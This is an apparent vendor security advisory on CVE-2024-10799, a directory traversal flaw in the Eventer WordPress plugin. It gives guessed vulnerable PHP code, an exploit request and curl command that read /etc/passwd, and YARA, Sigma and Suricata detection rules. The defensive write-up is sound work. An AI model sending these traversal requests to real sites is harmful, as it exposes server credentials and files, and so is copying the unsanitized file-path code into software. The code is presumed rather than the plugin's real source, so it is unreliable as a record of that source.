CVE-2024-10799

Executive Summary

CVE-2024-10799 is a Directory Traversal vulnerability in the Eventer WordPress plugin, affecting all versions up to and including 3.9.7. The flaw resides in the eventer_woo_download_tickets() function, which fails to properly sanitize user-supplied input when constructing file paths. This allows authenticated attackers with Subscriber-level access or higher to read arbitrary files on the server, potentially exposing sensitive information such as database credentials, configuration files, or source code.

The vulnerability is classified as a WordPress ecosystem issue, as it is a plugin-specific flaw. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is significant due to the potential for information disclosure.

Supply Chain & Package Security

This vulnerability affects the Eventer WordPress plugin, which is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin installation and monitor for updates from the vendor. Since the patch status is unknown, organizations should consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. While the CVSS score is 6.5, the actual risk is elevated due to the low authentication requirement and the potential for high-value data exposure. The lack of a patch and public exploit increases the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability exists in the eventer_woo_download_tickets() function, which is responsible for handling ticket downloads for WooCommerce events. The function constructs a file path using user-supplied parameters (likely a ticket ID or filename) without proper validation or sanitization. By injecting path traversal sequences (e.g., ../), an attacker can navigate outside the intended directory and read arbitrary files.

Root Cause: The function uses user input directly in file operations (e.g., file_get_contents(), fopen(), or similar) without checking for directory traversal patterns. The lack of a whitelist or basename validation allows an attacker to specify paths like ../../../../etc/passwd.

Attack Flow:

1. Authenticate as a Subscriber (or higher) to the WordPress site.
2. Craft a malicious request to the vulnerable endpoint, manipulating the file path parameter.
3. The server reads and returns the contents of the specified file, which may include sensitive data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following (pseudocode based on typical WordPress plugin patterns):

Vulnerable Code (eventer.php or similar):

function eventer_woo_download_tickets() {
    $file = $_GET['file']; // User-supplied input
    $path = WP_CONTENT_DIR . '/uploads/eventer_tickets/' . $file;
    if (file_exists($path)) {
        header('Content-Type: application/octet-stream');
        readfile($path);
    }
}

Patched Code (Expected):

function eventer_woo_download_tickets() {
    $file = basename($_GET['file']); // Strip path components
    $allowed = ['ticket1.pdf', 'ticket2.pdf']; // Whitelist
    if (in_array($file, $allowed)) {
        $path = WP_CONTENT_DIR . '/uploads/eventer_tickets/' . $file;
        if (file_exists($path)) {
            header('Content-Type: application/octet-stream');
            readfile($path);
        }
    }
}

The patched version uses basename() to remove directory traversal sequences and implements a whitelist of allowed files.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Eventer plugin <= 3.9.7
• Valid user account with Subscriber role or higher

Exploit Steps:

1. Log in to WordPress as a Subscriber.
2. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=eventer_woo_download_tickets&file=...).
3. Craft a payload to read sensitive files:

   GET /wp-admin/admin-ajax.php?action=eventer_woo_download_tickets&file=../../../../etc/passwd HTTP/1.1
   Host: target.com
   Cookie: wordpress_logged_in_...
   

4. The server will return the contents of /etc/passwd (or other files).

Example cURL Command:

curl -b "wordpress_logged_in_..." "http://target.com/wp-admin/admin-ajax.php?action=eventer_woo_download_tickets&file=../../../../etc/passwd"

Blue Team (Detection & Hardening)

Detection:

• Monitor for requests to admin-ajax.php with action=eventer_woo_download_tickets and suspicious file parameters containing ../ or absolute paths.
• Look for unusual file reads (e.g., /etc/passwd, /wp-config.php).

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file read permissions for the web server user.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=eventer_woo_download_tickets and file parameter containing ../ or /.
  • Outbound responses containing sensitive file contents (e.g., root:x:0:0:root:/root:/bin/bash).

• File System IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, /wp-config.php, or other sensitive files.
  • Log entries showing file read operations outside the plugin's intended directory.

• Log IOCs:

  • Web server logs showing repeated admin-ajax.php requests with path traversal patterns.
  • PHP error logs indicating failed file operations or warnings about open_basedir restrictions.

Detection Engineering

YARA Rule

rule CVE_2024_10799_Eventer_Directory_Traversal {
    meta:
        description = "Detects attempts to exploit CVE-2024-10799 in Eventer WordPress plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10799"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "/etc/passwd"
        $traversal4 = "/wp-config.php"
        $action = "eventer_woo_download_tickets"
    condition:
        $action and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-10799 Eventer Directory Traversal
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts against Eventer plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=eventer_woo_download_tickets'
        cs-uri-query|contains: 'file='
    filter:
        cs-uri-query|contains: 'file=eventer_tickets/'
    condition: selection and not filter
falsepositives:
    - Legitimate ticket downloads (if file parameter is properly sanitized)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10799 Eventer Directory Traversal"; flow:to_server,established; content:"GET"; http_method; content:"admin-ajax.php"; http_uri; content:"action=eventer_woo_download_tickets"; http_uri; content:"file="; http_uri; pcre:"/file=\.\.\//"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Eventer plugin until a patched version is released.
2. Implement WAF rules to block path traversal patterns (e.g., ../, ..\\, absolute paths).
3. Restrict file permissions on sensitive files (e.g., chmod 600 /wp-config.php).

Long-Term Fix:

• Monitor the vendor's website for a patched version (>= 3.9.8).
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Workaround:

• If the plugin cannot be disabled, modify the vulnerable function to use basename() and a whitelist of allowed files (see patched code example).

Valters IT
Securing Digital Frontiers